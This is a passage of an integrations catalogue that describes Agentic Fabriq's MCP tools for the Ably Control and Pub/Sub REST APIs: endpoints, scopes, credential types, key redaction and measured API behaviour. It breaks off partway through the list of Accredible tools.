as sensitive. PLANE: Ably CONTROL API (https://control.ably.net/v1). This tool needs an Ably ACCOUNT ACCESS TOKEN -- the credential the 'Control API access token' connection method collects -- and an Ably app API key will not work on it (measured: a valid app key answers 401 on every Control route). If this connection was made with an app key, Agentic Fabriq refuses the call by name rather than forwarding it to be answered with a bare 401. GET /api/v1/ably/control/apps/{app_id}/rules/{rule_id}. Scopes: read:rule. ably_control_get_apps_by_id_stats (read) — Read app statistics via GET https://control.ably.net/v1/apps/{id}/stats. Read one application's usage statistics: messages, connections, channels and API requests over a time range. `start` and `end` are milliseconds since the Unix epoch, rounded down to the start of the `unit` interval (minute, hour, day or month); `direction` orders `backwards` (the default) or `forwards`. `id` is the APP id. PLANE: Ably CONTROL API (https://control.ably.net/v1). This tool needs an Ably ACCOUNT ACCESS TOKEN -- the credential the 'Control API access token' connection method collects -- and an Ably app API key will not work on it (measured: a valid app key answers 401 on every Control route). If this connection was made with an app key, Agentic Fabriq refuses the call by name rather than forwarding it to be answered with a bare 401. GET /api/v1/ably/control/apps/{id}/stats. Scopes: read:stats. ably_control_get_me (read) — Read this connection's access token details via GET https://control.ably.net/v1/me. Read the details of the access token this connection authenticates with: the capabilities it holds, when it expires, when it was last used, and the Ably user and ACCOUNT it belongs to. Two reasons to call it first. (1) It is where the account id comes from, and the account-level routes take that id in the path; nothing else in this integration returns it. (2) ABLY CONTROL API ACCESS TOKENS EXPIRE -- the dashboard's creation dialog offers 30, 60 or 90 days or no expiration and DEFAULTS TO 30 DAYS -- and once one expires every Control call answers 401. `expires_at` here is how far away that is. PLANE: Ably CONTROL API (https://control.ably.net/v1). This tool needs an Ably ACCOUNT ACCESS TOKEN -- the credential the 'Control API access token' connection method collects -- and an Ably app API key will not work on it (measured: a valid app key answers 401 on every Control route). If this connection was made with an app key, Agentic Fabriq refuses the call by name rather than forwarding it to be answered with a bare 401. GET /api/v1/ably/control/me. Scopes: read:app. ably_control_patch_apps_by_app_id_keys_by_key_id (write) — Update an API key via PATCH https://control.ably.net/v1/apps/{app_id}/keys/{key_id}. Change an existing API key's name or capabilities. NARROWING A CAPABILITY TAKES EFFECT IMMEDIATELY for every client already using that key, so a key in production stops being able to do whatever you removed as soon as this returns -- read the key first and send the capability map you mean in full, because this replaces it rather than merging into it. KEY MATERIAL IS REDACTED. Ably returns the complete API key (`appId.keyId:keySecret`) in the `key` field of every object this call answers with; Agentic Fabriq replaces that one field before the reply leaves the gateway, so a working data-plane credential never lands in a tool result, an audit event or a model's context. Everything else -- the key id, its name, its capabilities, its app -- is returned untouched, which is what the other key tools need. To read the key's value, open the app's API Keys tab in the Ably dashboard. PLANE: Ably CONTROL API (https://control.ably.net/v1). This tool needs an Ably ACCOUNT ACCESS TOKEN -- the credential the 'Control API access token' connection method collects -- and an Ably app API key will not work on it (measured: a valid app key answers 401 on every Control route). If this connection was made with an app key, Agentic Fabriq refuses the call by name rather than forwarding it to be answered with a bare 401. PATCH /api/v1/ably/control/apps/{app_id}/keys/{key_id}. Scopes: write:key. ably_control_patch_apps_by_app_id_namespaces_by_namespace_id (write) — Update a channel rule (namespace) via PATCH https://control.ably.net/v1/apps/{app_id}/namespaces/{namespace_id}. Change a channel namespace's settings. It takes effect for every channel matching that prefix and for every client of the application. Turning `persisted` off stops new messages being stored (and existing history ages out on its own schedule); turning `pushEnabled` off breaks push subscriptions on those channels. PLANE: Ably CONTROL API (https://control.ably.net/v1). This tool needs an Ably ACCOUNT ACCESS TOKEN -- the credential the 'Control API access token' connection method collects -- and an Ably app API key will not work on it (measured: a valid app key answers 401 on every Control route). If this connection was made with an app key, Agentic Fabriq refuses the call by name rather than forwarding it to be answered with a bare 401. PATCH /api/v1/ably/control/apps/{app_id}/namespaces/{namespace_id}. Scopes: write:namespace. ably_control_patch_apps_by_app_id_rules_by_rule_id (write) — Update an integration rule via PATCH https://control.ably.net/v1/apps/{app_id}/rules/{rule_id}. Change an integration rule -- its status (`enabled`/`disabled`), its channel filter, its source or its target. ALWAYS SEND `ruleType` IN THE BODY, even when you are only changing one other field: the PATCH body is a discriminated union and `ruleType` is its discriminator. Measured 2026-09-18 -- `{"status": "disabled"}` alone answers 400 `discriminator propertyName ruleType does not exist in value`, while `{"ruleType": "http", "status": "disabled"}` answers 200. Read the rule first to learn its `ruleType`. Disabling is the reversible way to stop a delivery; changing the target repoints an existing stream of the application's messages somewhere else, which is the same side-channel decision as creating one. Third-party credentials in a target arrive here as tool arguments and are recorded in the audit trail. PLANE: Ably CONTROL API (https://control.ably.net/v1). This tool needs an Ably ACCOUNT ACCESS TOKEN -- the credential the 'Control API access token' connection method collects -- and an Ably app API key will not work on it (measured: a valid app key answers 401 on every Control route). If this connection was made with an app key, Agentic Fabriq refuses the call by name rather than forwarding it to be answered with a bare 401. PATCH /api/v1/ably/control/apps/{app_id}/rules/{rule_id}. Scopes: write:rule. ably_control_patch_apps_by_id (write) — Update an app via PATCH https://control.ably.net/v1/apps/{id}. Change an Ably application's settings -- its name, its status (`enabled` or `disabled`), `tlsOnly`, and its Apple Push Notification service environment. Setting `status` to `disabled` stops the app serving every client at once, which is a whole-application outage rather than a configuration nudge. Uploading an APNs `.p12` certificate is a separate multipart route that this integration does not carry. PLANE: Ably CONTROL API (https://control.ably.net/v1). This tool needs an Ably ACCOUNT ACCESS TOKEN -- the credential the 'Control API access token' connection method collects -- and an Ably app API key will not work on it (measured: a valid app key answers 401 on every Control route). If this connection was made with an app key, Agentic Fabriq refuses the call by name rather than forwarding it to be answered with a bare 401. PATCH /api/v1/ably/control/apps/{id}. Scopes: write:app. ably_control_post_accounts_by_account_id_apps (write) — Create an app via POST https://control.ably.net/v1/accounts/{account_id}/apps. Create an Ably application on the account. `name` is required; `status`, `tlsOnly` and the APNs fields are optional. The app comes back ENABLED and immediately usable -- there is no review or pending state -- and its reply carries the new app id. A new app has no API keys you can use from this integration until one is created, and this integration redacts key material out of the create-key reply, so the first key's value is collected from the Ably dashboard. PLANE: Ably CONTROL API (https://control.ably.net/v1). This tool needs an Ably ACCOUNT ACCESS TOKEN -- the credential the 'Control API access token' connection method collects -- and an Ably app API key will not work on it (measured: a valid app key answers 401 on every Control route). If this connection was made with an app key, Agentic Fabriq refuses the call by name rather than forwarding it to be answered with a bare 401. POST /api/v1/ably/control/accounts/{account_id}/apps. Scopes: write:app. ably_control_post_apps_by_app_id_keys (write) — Create an API key via POST https://control.ably.net/v1/apps/{app_id}/keys. Mint a new API key on one application. `name` labels it and `capability` is a map from channel-name pattern to the operations that key may perform there -- for example `{"orders:*": ["publish", "history"], "chat": ["subscribe"]}`. The measured vocabulary is `publish`, `subscribe`, `presence`, `history`, `stats`, `channel-metadata`, `list-channels`, `push-subscribe`, `push-admin`, `privileged-headers`, `object-publish`, `object-subscribe`, `annotation-publish`, `annotation-subscribe`, the `message-*` update and delete operations, `presence-subscribe`, `message-subscribe`, `channel-metadata:publishers`, and `*` for all of them. THIS CREATES A WORKING CREDENTIAL that outlives this connection and is not bounded by anything Agentic Fabriq grants: give it the narrowest capability that does the job, and remember that whoever receives it can use it until it is revoked. KEY MATERIAL IS REDACTED. Ably returns the complete API key (`appId.keyId:keySecret`) in the `key` field of every object this call answers with; Agentic Fabriq replaces that one field before the reply leaves the gateway, so a working data-plane credential never lands in a tool result, an audit event or a model's context. Everything else -- the key id, its name, its capabilities, its app -- is returned untouched, which is what the other key tools need. To read the key's value, open the app's API Keys tab in the Ably dashboard. PLANE: Ably CONTROL API (https://control.ably.net/v1). This tool needs an Ably ACCOUNT ACCESS TOKEN -- the credential the 'Control API access token' connection method collects -- and an Ably app API key will not work on it (measured: a valid app key answers 401 on every Control route). If this connection was made with an app key, Agentic Fabriq refuses the call by name rather than forwarding it to be answered with a bare 401. POST /api/v1/ably/control/apps/{app_id}/keys. Scopes: write:key. ably_control_post_apps_by_app_id_keys_by_key_id_revoke (write) — Revoke an API key via POST https://control.ably.net/v1/apps/{app_id}/keys/{key_id}/revoke. Revoke an API key. Ably's own wording is 'this deletes the key': it stops working at once, everywhere, for every client holding it, and it cannot be restored -- a replacement is a NEW key with a new value. CHECK WHICH KEY THIS IS FIRST. If it is the key this integration's own Ably Pub/Sub connection authenticates with, revoking it breaks that connection too, and the failure will read like a wrong credential rather than like this call. The reply carries no key material. PLANE: Ably CONTROL API (https://control.ably.net/v1). This tool needs an Ably ACCOUNT ACCESS TOKEN -- the credential the 'Control API access token' connection method collects -- and an Ably app API key will not work on it (measured: a valid app key answers 401 on every Control route). If this connection was made with an app key, Agentic Fabriq refuses the call by name rather than forwarding it to be answered with a bare 401. POST /api/v1/ably/control/apps/{app_id}/keys/{key_id}/revoke. Scopes: write:key. ably_control_post_apps_by_app_id_namespaces (write) — Create a channel rule (namespace) via POST https://control.ably.net/v1/apps/{app_id}/namespaces. Create a channel namespace (channel rule) on an application. `id` is the channel-name prefix it matches and the flags -- `persisted`, `pushEnabled`, `presence`, `presenceSubscribers`, `tlsOnly`, `exposeTimeserial` and the rest -- decide how every channel under that prefix behaves. THIS AFFECTS EVERY CLIENT OF THE APPLICATION, not only this connection: turning persistence on starts storing message history for those channels, and turning push on is what makes push channel subscriptions possible there at all. PLANE: Ably CONTROL API (https://control.ably.net/v1). This tool needs an Ably ACCOUNT ACCESS TOKEN -- the credential the 'Control API access token' connection method collects -- and an Ably app API key will not work on it (measured: a valid app key answers 401 on every Control route). If this connection was made with an app key, Agentic Fabriq refuses the call by name rather than forwarding it to be answered with a bare 401. POST /api/v1/ably/control/apps/{app_id}/namespaces. Scopes: write:namespace. ably_control_post_apps_by_app_id_queues (write) — Create a queue via POST https://control.ably.net/v1/apps/{app_id}/queues. Create an Ably-hosted queue on an application. `name`, `region`, `ttl` (seconds a message survives undelivered) and `maxLength` (how many messages it will hold) are the shape of it. The reply carries the AMQP and STOMP URIs a consumer connects with. Queues are billed and capped per package -- a create that fails on a limit says so. PLANE: Ably CONTROL API (https://control.ably.net/v1). This tool needs an Ably ACCOUNT ACCESS TOKEN -- the credential the 'Control API access token' connection method collects -- and an Ably app API key will not work on it (measured: a valid app key answers 401 on every Control route). If this connection was made with an app key, Agentic Fabriq refuses the call by name rather than forwarding it to be answered with a bare 401. POST /api/v1/ably/control/apps/{app_id}/queues. Scopes: write:queue. ably_control_post_apps_by_app_id_rules (write) — Create an integration rule via POST https://control.ably.net/v1/apps/{app_id}/rules. Create an integration rule: a standing subscription that forwards matching Ably events to a destination you name. `ruleType` picks the target family (`http`, `http/zapier`, `http/ifttt`, `http/cloudflare-worker`, `http/azure-function`, `http/google-cloud-function`, `aws/lambda`, `aws/kinesis`, `aws/sqs`, `amqp`, `amqp/external`, `kafka`, `pulsar`, the ingress rules and the moderation rules), `source` picks what it listens to (`channel.message`, `channel.presence`, `channel.lifecycle`, `channel.occupancy`) and `channelFilter` is a regular expression narrowing which channels it applies to. TWO THINGS TO WEIGH BEFORE CALLING THIS. First, the rule is a PERSISTENT SIDE CHANNEL: from the moment it exists, every matching message leaves the Ably application for the destination, for every user of the app, until the rule is deleted. Second, several target types take THIRD-PARTY CREDENTIALS in the request body -- an AWS access key id and secret access key, a Pulsar token, Kafka SASL credentials, a Postgres or MongoDB connection string -- and anything in a tool argument is recorded in Agentic Fabriq's audit trail. Prefer a target that authenticates by role or by URL secret where the choice exists. PLANE: Ably CONTROL API (https://control.ably.net/v1). This tool needs an Ably ACCOUNT ACCESS TOKEN -- the credential the 'Control API access token' connection method collects -- and an Ably app API key will not work on it (measured: a valid app key answers 401 on every Control route). If this connection was made with an app key, Agentic Fabriq refuses the call by name rather than forwarding it to be answered with a bare 401. POST /api/v1/ably/control/apps/{app_id}/rules. Scopes: write:rule. ably_platform_delete_push_channelsubscriptions (write, destructive) — Delete push channel subscriptions via DELETE https://rest.ably.io/push/channelSubscriptions. Delete push channel subscriptions matching a filter -- the devices or client ids in it stop receiving push for that channel. `channel`, `deviceId` and `clientId` narrow it. (Ably's deprecated contract labels this operation 'Delete a registered device's update token', which is wrong: measured 2026-09-18, it deletes channel subscriptions, and the update-token route it names no longer exists at all.) AT LEAST ONE FILTER IS REQUIRED, and Agentic Fabriq enforces it. Ably's contract declares every filter on this route optional, which means a call with none of them deletes EVERY matching record on the whole application rather than nothing. A call that names no filter is refused here before any request is sent. PLANE: Ably Pub/Sub REST API (https://rest.ably.io). This tool needs an Ably APP API KEY -- the credential the 'App API key' connection method collects -- and an account access token will not work on it. If this connection was made with a Control token, Agentic Fabriq refuses the call by name rather than forwarding it. DELETE /api/v1/ably/platform/push/channelSubscriptions. Scopes: push-admin. ably_platform_delete_push_deviceregistrations (write, destructive) — Unregister matching push devices via DELETE https://rest.ably.io/push/deviceRegistrations. Unregister push devices matching a filter, and delete their channel subscriptions with them. `deviceId` unregisters exactly one; `clientId` unregisters EVERY device registered against that client identity. Devices unregistered here stop receiving push notifications immediately and the registration cannot be restored from this reply -- the device has to register again, which normally means the app running on it. AT LEAST ONE FILTER IS REQUIRED, and Agentic Fabriq enforces it. Ably's contract declares every filter on this route optional, which means a call with none of them deletes EVERY matching record on the whole application rather than nothing. A call that names no filter is refused here before any request is sent. PLANE: Ably Pub/Sub REST API (https://rest.ably.io). This tool needs an Ably APP API KEY -- the credential the 'App API key' connection method collects -- and an account access token will not work on it. If this connection was made with a Control token, Agentic Fabriq refuses the call by name rather than forwarding it. DELETE /api/v1/ably/platform/push/deviceRegistrations. Scopes: push-admin. ably_platform_delete_push_deviceregistrations_by_device_id (write, destructive) — Unregister one push device via DELETE https://rest.ably.io/push/deviceRegistrations/{device_id}. Unregister ONE push device by its device id, and delete its channel subscriptions with it. It stops receiving push notifications immediately and the registration is not recoverable from this reply; re-registering normally means the Ably SDK on the device doing it again. Measured 2026-09-18: answers 204 with an empty body. PLANE: Ably Pub/Sub REST API (https://rest.ably.io). This tool needs an Ably APP API KEY -- the credential the 'App API key' connection method collects -- and an account access token will not work on it. If this connection was made with a Control token, Agentic Fabriq refuses the call by name rather than forwarding it. DELETE /api/v1/ably/platform/push/deviceRegistrations/{device_id}. Scopes: push-admin. ably_platform_get_channels (read) — List active channels via GET https://rest.ably.io/channels. List the application's currently ACTIVE channels -- channels with at least one connection, or with something else keeping them alive. A channel nobody is attached to is not listed, so an empty reply means nothing is live rather than that nothing exists; `[]` is the normal answer on a quiet app (measured 2026-09-18). `prefix` filters by channel-name prefix, `limit` caps the page, and `by` chooses what comes back (`value` for the full occupancy detail, `id` for names only). PLANE: Ably Pub/Sub REST API (https://rest.ably.io). This tool needs an Ably APP API KEY -- the credential the 'App API key' connection method collects -- and an account access token will not work on it. If this connection was made with a Control token, Agentic Fabriq refuses the call by name rather than forwarding it. GET /api/v1/ably/platform/channels. Scopes: channel-metadata. ably_platform_get_channels_by_channel_id (read) — Read a channel's metadata via GET https://rest.ably.io/channels/{channel_id}. Read one channel's metadata: whether it is active, and its occupancy -- how many connections, publishers, subscribers and presence members it currently has. Answers 200 for a channel that is not active too, with `isActive: false`, so this does not tell you whether a channel has ever existed. PLANE: Ably Pub/Sub REST API (https://rest.ably.io). This tool needs an Ably APP API KEY -- the credential the 'App API key' connection method collects -- and an account access token will not work on it. If this connection was made with a Control token, Agentic Fabriq refuses the call by name rather than forwarding it. GET /api/v1/ably/platform/channels/{channel_id}. Scopes: channel-metadata. ably_platform_get_channels_by_channel_id_messages (read) — Read a channel's message history via GET https://rest.ably.io/channels/{channel_id}/messages. Read a channel's stored message history, newest first by default. `start` and `end` bound the window (milliseconds since the Unix epoch), `direction` is `backwards` or `forwards` and `limit` caps the page (100 by default). HISTORY ONLY EXISTS WHERE PERSISTENCE IS ON: message storage is a namespace setting (`persisted` on the channel rule), so a channel outside a persisted namespace answers `[]` here even immediately after a successful publish, and an empty reply is not evidence that nothing was published. `ably_control_get_apps_by_app_id_namespaces` is where that setting is visible. PLANE: Ably Pub/Sub REST API (https://rest.ably.io). This tool needs an Ably APP API KEY -- the credential the 'App API key' connection method collects -- and an account access token will not work on it. If this connection was made with a Control token, Agentic Fabriq refuses the call by name rather than forwarding it. GET /api/v1/ably/platform/channels/{channel_id}/messages. Scopes: history. ably_platform_get_channels_by_channel_id_presence (read) — Read who is present on a channel via GET https://rest.ably.io/channels/{channel_id}/presence. Read who is currently present on a channel -- the client ids and connection ids of the members, with whatever presence data each entered with. `clientId` and `connectionId` filter it and `limit` caps the page. This is a point-in-time read of a live set: members come and go with their realtime connections, so two calls seconds apart legitimately differ. Measured 2026-09-18: this route is granted by the key's `subscribe` capability, NOT by `presence` -- `presence` is what a realtime client needs to ENTER presence, which this REST integration never does. PLANE: Ably Pub/Sub REST API (https://rest.ably.io). This tool needs an Ably APP API KEY -- the credential the 'App API key' connection method collects -- and an account access token will not work on it. If this connection was made with a Control token, Agentic Fabriq refuses the call by name rather than forwarding it. GET /api/v1/ably/platform/channels/{channel_id}/presence. Scopes: subscribe. ably_platform_get_channels_by_channel_id_presence_history (read) — Read a channel's presence history via GET https://rest.ably.io/channels/{channel_id}/presence/history. Read a channel's presence HISTORY -- the enter, update and leave events over a time window, rather than the current members. `start`, `end`, `direction` and `limit` shape it exactly as message history does, and the same persistence rule applies: this is stored data, so a channel whose namespace does not persist answers `[]`. PLANE: Ably Pub/Sub REST API (https://rest.ably.io). This tool needs an Ably APP API KEY -- the credential the 'App API key' connection method collects -- and an account access token will not work on it. If this connection was made with a Control token, Agentic Fabriq refuses the call by name rather than forwarding it. GET /api/v1/ably/platform/channels/{channel_id}/presence/history. Scopes: history. ably_platform_get_push_channels (read) — List channels with push subscribers via GET https://rest.ably.io/push/channels. List the channels that have at least one push-subscribed device, as a paginated list of channel names. This is the inverse of the subscriptions list: it answers 'which channels are pushing to anyone', where the other answers 'who is subscribed to this channel'. PLANE: Ably Pub/Sub REST API (https://rest.ably.io). This tool needs an Ably APP API KEY -- the credential the 'App API key' connection method collects -- and an account access token will not work on it. If this connection was made with a Control token, Agentic Fabriq refuses the call by name rather than forwarding it. GET /api/v1/ably/platform/push/channels. Scopes: push-admin. ably_platform_get_push_channelsubscriptions (read) — List push channel subscriptions via GET https://rest.ably.io/push/channelSubscriptions. List push notification subscriptions -- which devices, or which client ids, receive push for which channels. AT LEAST ONE FILTER IS REQUIRED by Ably itself: measured 2026-09-18, a call with none answers 400 `expected parameter 'deviceId', 'clientId', 'deviceClientId', and/or 'channel'`, which Ably's own contract does not say. Pass `channel` to see who is subscribed to a channel, or `deviceId`/`clientId` to see what one device or identity receives. PLANE: Ably Pub/Sub REST API (https://rest.ably.io). This tool needs an Ably APP API KEY -- the credential the 'App API key' connection method collects -- and an account access token will not work on it. If this connection was made with a Control token, Agentic Fabriq refuses the call by name rather than forwarding it. GET /api/v1/ably/platform/push/channelSubscriptions. Scopes: push-admin. ably_platform_get_push_deviceregistrations (read) — List registered push devices via GET https://rest.ably.io/push/deviceRegistrations. List the devices registered with this application for push notifications, each with its device id, platform, form factor, client id and push recipient details. `deviceId` and `clientId` filter it and `limit` caps the page. An app that has never registered a device answers `[]` (measured 2026-09-18). PLANE: Ably Pub/Sub REST API (https://rest.ably.io). This tool needs an Ably APP API KEY -- the credential the 'App API key' connection method collects -- and an account access token will not work on it. If this connection was made with a Control token, Agentic Fabriq refuses the call by name rather than forwarding it. GET /api/v1/ably/platform/push/deviceRegistrations. Scopes: push-admin. ably_platform_get_push_deviceregistrations_by_device_id (read) — Read a push device registration via GET https://rest.ably.io/push/deviceRegistrations/{device_id}. Read one push device registration in full: its platform, form factor, client id, metadata and push recipient. A device id that is not registered answers 404 `device with ID ... not found` (measured 2026-09-18), which is a real absence rather than a routing failure. PLANE: Ably Pub/Sub REST API (https://rest.ably.io). This tool needs an Ably APP API KEY -- the credential the 'App API key' connection method collects -- and an account access token will not work on it. If this connection was made with a Control token, Agentic Fabriq refuses the call by name rather than forwarding it. GET /api/v1/ably/platform/push/deviceRegistrations/{device_id}. Scopes: push-admin. ably_platform_get_stats (read) — Read app usage statistics via GET https://rest.ably.io/stats. Read this application's aggregated usage statistics: messages, connections, channels and API requests, summed across all its channels. `start` and `end` are milliseconds since the Unix epoch, `unit` is the aggregation interval (`minute`, `hour`, `day`, `month`), `direction` orders `backwards` (the default) or `forwards`, and `limit` caps the page. Stats lag live traffic by a few seconds. PLANE: Ably Pub/Sub REST API (https://rest.ably.io). This tool needs an Ably APP API KEY -- the credential the 'App API key' connection method collects -- and an account access token will not work on it. If this connection was made with a Control token, Agentic Fabriq refuses the call by name rather than forwarding it. GET /api/v1/ably/platform/stats. Scopes: stats. ably_platform_patch_push_deviceregistrations_by_device_id (write) — Update a push device registration via PATCH https://rest.ably.io/push/deviceRegistrations/{device_id}. Change specific fields of a push device registration, leaving the rest alone. Only `clientId`, `metadata` and `push.recipient` are mutable. Replacing `push.recipient` is how a device's push token is rotated -- get it wrong and that device silently stops receiving notifications, because a bad token is a delivery failure rather than an API error. PLANE: Ably Pub/Sub REST API (https://rest.ably.io). This tool needs an Ably APP API KEY -- the credential the 'App API key' connection method collects -- and an account access token will not work on it. If this connection was made with a Control token, Agentic Fabriq refuses the call by name rather than forwarding it. PATCH /api/v1/ably/platform/push/deviceRegistrations/{device_id}. Scopes: push-admin. ably_platform_post_channels_by_channel_id_messages (write) — Publish a message to a channel via POST https://rest.ably.io/channels/{channel_id}/messages. Publish a message to a channel. `name` is the message's event name and `data` its payload; `clientId` attributes it to a client identity, `extras` carries per-message options (including a `push` object that turns the publish into a push notification to that channel's subscribers). A message is delivered to whoever is attached at the time and is only retrievable afterwards if the channel's namespace persists it. THIS IS A BROADCAST: every client subscribed to that channel receives it, and there is no unsend. Measured 2026-09-18: a successful publish answers 201 with the channel and a message id. PLANE: Ably Pub/Sub REST API (https://rest.ably.io). This tool needs an Ably APP API KEY -- the credential the 'App API key' connection method collects -- and an account access token will not work on it. If this connection was made with a Control token, Agentic Fabriq refuses the call by name rather than forwarding it. POST /api/v1/ably/platform/channels/{channel_id}/messages. Scopes: publish. ably_platform_post_push_channelsubscriptions (write) — Subscribe a push device to a channel via POST https://rest.ably.io/push/channelSubscriptions. Subscribe a device -- or every device belonging to a client id -- to receive push notifications for messages published to a channel. Pass `channel` plus exactly one of `deviceId` or `clientId`. PUSH MUST BE ENABLED ON THAT CHANNEL'S NAMESPACE FIRST: measured 2026-09-18, this answers `401 push not enabled for this channel` on a namespace without it, even for a key with full capabilities, so a 401 here is a CONFIGURATION answer and not a credential one. `ably_control_post_apps_by_app_id_namespaces` (Control plane, a separate connection) is what turns it on. PLANE: Ably Pub/Sub REST API (https://rest.ably.io). This tool needs an Ably APP API KEY -- the credential the 'App API key' connection method collects -- and an account access token will not work on it. If this connection was made with a Control token, Agentic Fabriq refuses the call by name rather than forwarding it. POST /api/v1/ably/platform/push/channelSubscriptions. Scopes: push-admin. ably_platform_post_push_deviceregistrations (write) — Register a push device via POST https://rest.ably.io/push/deviceRegistrations. Register a device for push notifications. `id` names the device, `platform` (`android`, `ios`, `browser`) and `formFactor` (`phone`, `tablet`, `desktop`, `watch`, …) describe it, `clientId` ties it to a client identity, and `push.recipient` carries the transport details the push service needs -- `transportType` plus, for FCM, a `registrationToken`, or for APNs a `deviceToken`. NORMALLY AN ABLY SDK ON THE DEVICE DOES THIS: registering a device server-side is for migrating an existing push estate or for fixing one up. The reply echoes the stored registration, including an update token the device would use to maintain itself. PLANE: Ably Pub/Sub REST API (https://rest.ably.io). This tool needs an Ably APP API KEY -- the credential the 'App API key' connection method collects -- and an account access token will not work on it. If this connection was made with a Control token, Agentic Fabriq refuses the call by name rather than forwarding it. POST /api/v1/ably/platform/push/deviceRegistrations. Scopes: push-admin. ably_platform_post_push_publish (write) — Publish a push notification to devices via POST https://rest.ably.io/push/publish. Send a push notification straight to a device or a set of devices, without publishing anything to a channel. `recipient` names them -- by `deviceId`, by `clientId`, or by a raw transport recipient -- and `notification` carries the title, body and the rest, with `data` for a silent payload. THIS REACHES PEOPLE'S DEVICES: a notification cannot be recalled, and addressing by `clientId` fans out to every device that identity has registered. Measured 2026-09-18: answers 204 whether or not the underlying push service ultimately delivers, so a 204 is Ably accepting the request rather than proof of delivery. PLANE: Ably Pub/Sub REST API (https://rest.ably.io). This tool needs an Ably APP API KEY -- the credential the 'App API key' connection method collects -- and an account access token will not work on it. If this connection was made with a Control token, Agentic Fabriq refuses the call by name rather than forwarding it. POST /api/v1/ably/platform/push/publish. Scopes: push-admin. ably_platform_put_push_deviceregistrations_by_device_id (write) — Replace a push device registration via PUT https://rest.ably.io/push/deviceRegistrations/{device_id}. REPLACE a push device registration entirely. Ably upserts on this route: whatever the registration held is replaced by what you send, so read it first and send the whole object rather than the part you meant to change. Only `clientId`, `metadata` and `push.recipient` are mutable; the device id, platform and form factor are fixed at registration. Use the PATCH tool to change one field. PLANE: Ably Pub/Sub REST API (https://rest.ably.io). This tool needs an Ably APP API KEY -- the credential the 'App API key' connection method collects -- and an account access token will not work on it. If this connection was made with a Control token, Agentic Fabriq refuses the call by name rather than forwarding it. PUT /api/v1/ably/platform/push/deviceRegistrations/{device_id}. Scopes: push-admin. ================================================================================ ## Accredible URL: https://www.agenticfabriq.com/integrations/accredible Section: Integrated Tools Accredible — 64 MCP tools Provider key: accredible. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. accredible_delete_v1_collections_by_collection_id (write, destructive) — Delete a Collection via DELETE /v1/collections/{collection_id}. DELETE /api/v1/accredible/v1/collections/{collection_id}. Scopes: api. accredible_delete_v1_credentials_by_credential_id_evidence_items_by_evidence_item_id (write, destructive) — Delete an Evidence Item via DELETE /v1/credentials/{credential_id}/evidence_items/{evidence_item_id}. DELETE /api/v1/accredible/v1/credentials/{credential_id}/evidence_items/{evidence_item_id}. Scopes: api. accredible_delete_v1_credentials_by_credential_id_references_by_reference_id (write, destructive) — Delete a Reference via DELETE /v1/credentials/{credential_id}/references/{reference_id}. DELETE /api/v1/accredible/v1/credentials/{credential_id}/references/{reference_id}. Scopes: api. accredible_delete_v1_credentials_by_id (write, destructive) — Delete a Credential via DELETE /v1/credentials/{id}. DELETE /api/v1/accredible/v1/credentials/{id}. Scopes: api. accredible_delete_v1_departments_by_department_id (write, destructive) — Delete a Department via DELETE /v1/departments/{department_id}. DELETE /api/v1/accredible/v1/departments/{department_id}. Scopes: api. accredible_delete_v1_designs_by_design_id (write, destructive) — Delete a Design via DELETE /v1/designs/{design_id}. DELETE /api/v1/accredible/v1/designs/{design_id}. Scopes: api. accredible_delete_v1_issuer_groups_by_group_id (write, destructive) — Delete a Group via DELETE /v1/issuer/groups/{group_id}. DELETE /api/v1/accredible/v1/issuer/groups/{group_id}. Scopes: api. accredible_delete_v1_team_members_by_id (write, destructive) — Delete a Team Member via DELETE /v1/team_members/{id}. Removes a person's dashboard access. DELETE /api/v1/accredible/v1/team_members/{id}. Scopes: api. accredible_get_v1_all_credentials (read) — View many Credentials via GET /v1/all_credentials. Deprecated by Accredible; prefer Search for Credentials (v2). GET /api/v1/accredible/v1/all_credentials. Scopes: api. accredible_get_v1_analytics (read) — Index Analytics via GET /v1/analytics. GET /api/v1/accredible/v1/analytics. Scopes: api. accredible_get_v1_credentials_blockchain_data_by_id (read) — Verify BlockChain Credential (v1) via GET /v1/credentials/blockchain_data/{id}. Public credentials answer without an API key (measured); pass `key` for a private one. GET /api/v1/accredible/v1/credentials/blockchain_data/{id}. Scopes: api. accredible_get_v1_credentials_by_credential_id_evidence_items_by_evidence_item_id (read) — View an Evidence Item via GET /v1/credentials/{credential_id}/evidence_items/{evidence_item_id}. GET /api/v1/accredible/v1/credentials/{credential_id}/evidence_items/{evidence_item_id}. Scopes: api. accredible_get_v1_credentials_by_credential_id_references_by_reference_id (read) — View a Reference via GET /v1/credentials/{credential_id}/references/{reference_id}. GET /api/v1/accredible/v1/credentials/{credential_id}/references/{reference_id}. Scopes: api. accredible_get_v1_credentials_by_id (read) — View a Credential via GET /v1/credentials/{id}. GET /api/v1/accredible/v1/credentials/{id}. Scopes: api. accredible_get_v1_data_exports (read) — View All Data Exports via GET /v1/data_exports. GET /api/v1/accredible/v1/data_exports. Scopes: api. accredible_get_v1_data_exports_by_id (read) — View a Data Export via GET /v1/data_exports/{id}. GET /api/v1/accredible/v1/data_exports/{id}. Scopes: api. accredible_get_v1_departments_by_department_id (read) — View a Department via GET /v1/departments/{department_id}. GET /api/v1/accredible/v1/departments/{department_id}. Scopes: api. accredible_get_v1_designs (read) — View all Designs via GET /v1/designs. Deprecated by Accredible; prefer Search for Designs. GET /api/v1/accredible/v1/designs. Scopes: api. accredible_get_v1_designs_by_design_id (read) — View a Design via GET /v1/designs/{design_id}. GET /api/v1/accredible/v1/designs/{design_id}. Scopes: api. accredible_get_v1_issuer_all_groups (read) — View all Groups via GET /v1/issuer/all_groups. Deprecated by Accredible; prefer Search for Groups. GET /api/v1/accredible/v1/issuer/all_groups. Scopes: api. accredible_get_v1_issuer_credential_redirect (read) — Redirect to the Credential via GET /v1/issuer/credential_redirect. Accredible answers with a redirect to the credential page; this tool returns the redirect status and Location instead of following it. GET /api/v1/accredible/v1/issuer/credential_redirect. Scopes: api. accredible_get_v1_issuer_details (read) — View an Issuer via GET /v1/issuer/details. GET /api/v1/accredible/v1/issuer/details. Scopes: api. accredible_get_v1_issuer_groups_by_group_id (read) — View a Group via GET /v1/issuer/groups/{group_id}. GET /api/v1/accredible/v1/issuer/groups/{group_id}. 